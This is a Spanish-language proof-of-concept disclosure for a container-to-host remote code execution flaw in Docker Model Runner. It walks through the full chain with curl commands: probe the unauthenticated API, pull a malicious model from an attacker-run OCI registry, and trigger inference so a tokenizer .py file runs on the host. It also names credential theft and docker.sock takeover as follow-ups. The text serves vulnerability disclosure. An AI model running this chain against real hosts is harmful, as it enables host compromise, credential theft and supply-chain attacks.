
Docker Model Runner RCE / escape de contenedor a host: una vulnerabilidad crítica que permite la ejecución de código de contenedor a host en el backend de inferencia MLX / SGLANG / VLLM de Docker Model Runner.
Cualquier contenedor en un host de Docker Desktop (4.40.0 a 4.67.x) puede ejecutar código en el host con dos peticiones HTTP. Sin montaje de socket, sin --privileged, sin capabilities.
Cualquier contenedor puede alcanzar Model Runner en model-runner.docker.internal sin autenticación. Descarga modelos de cualquier registro OCI al que lo apuntes y los almacena sin verificar los digests. Los backends de Python (vLLM, MLX, SGLang) cargan el modelo con trust_remote_code=True (o en el caso de MLX ni siquiera reconoce trust remote code en su entrada de configuración), lo que importa cualquier archivo .py que el modelo haga referencia en tokenizer_config.json. Ese .py se ejecuta como el usuario de escritorio.
Posición inicial: el atacante tiene ejecución de código dentro de cualquier contenedor en el host. Imagen base hostil, instalación maliciosa de npm/pip en un espacio de trabajo de desarrollo, un runner de CI que recoge código controlado por el atacante, etc. Sin montaje del socket de Docker, sin --privileged, sin capabilities adicionales.
Sondear Model Runner.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 significa que Model Runner está activo y es alcanzable desde este contenedor. No se necesita autenticación ni cabecera Origin.
Levantar un registro OCI malicioso. Cualquier servidor HTTP que hable la especificación de distribución OCI sirve. El registro debe ser alcanzable desde el host (Model Runner se ejecuta en el host, no en el contenedor). Puedes alojarlo en Internet público o ejecutarlo localmente y publicar un puerto (docker-compose.yml hace esto último para este PoC). Sirve un modelo Llama válido mínimo cuyo tokenizer_config.json tiene un auto_map que apunta a evil_tokenizer.py. evil_tokenizer.py es el payload del host. Consulta rce_registry.py.
Hacer que Model Runner descargue desde tu registro.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner descarga el manifiesto y luego cada blob, y los escribe en su almacén en disco. No se recalcula ni compara ningún digest, ni se verifica la firma. El modelo malicioso queda instalado.
reemplaza las líneas rce_registry.py:45-105 con un payload arbitrario.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
La prueba queda en /tmp/poc_rce_proof.
rce_registry.py - registro OCI falso, sirve un modelo Llama mínimo más evil_tokenizer.pytest_claims.py - comprueba cada afirmación contra el código fuente y el sistema en ejecuciónrun_poc.sh - script envoltoriodocker-compose.yml - registro + contenedor atacante sin privilegiosDockerfile.registry, Dockerfile.attacker - imágenesDisparar la inferencia para que el modelo se cargue.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner elige un backend de Python (vLLM, MLX o SGLang) y lo lanza con --model <bundle_dir> apuntando al modelo almacenado. El backend llama a AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers lee tokenizer_config.json, ve el auto_map e importa evil_tokenizer.py desde el directorio del bundle. El código a nivel de módulo se ejecuta en el momento de la importación.
El payload se ejecuta en el host. Se ejecuta como el usuario de Docker Desktop, fuera de cualquier contenedor, con acceso completo al sistema de archivos y a la red del usuario. La inferencia en sí suele fallar (el modelo es demasiado pequeño para ejecutarse realmente), pero eso no importa: la importación ocurrió primero.
Qué consigue el atacante con esto.
/var/run/docker.sock es alcanzable. Control del daemon: crear contenedores privilegiados, montar el sistema de archivos del host en uno de ellos, ejecutar comandos en otros contenedores, etc.~/.docker/config.json contiene las credenciales de cada registro en el que el usuario ha iniciado sesión. Pivote en la cadena de suministro: subir imágenes maliciosas a los registros.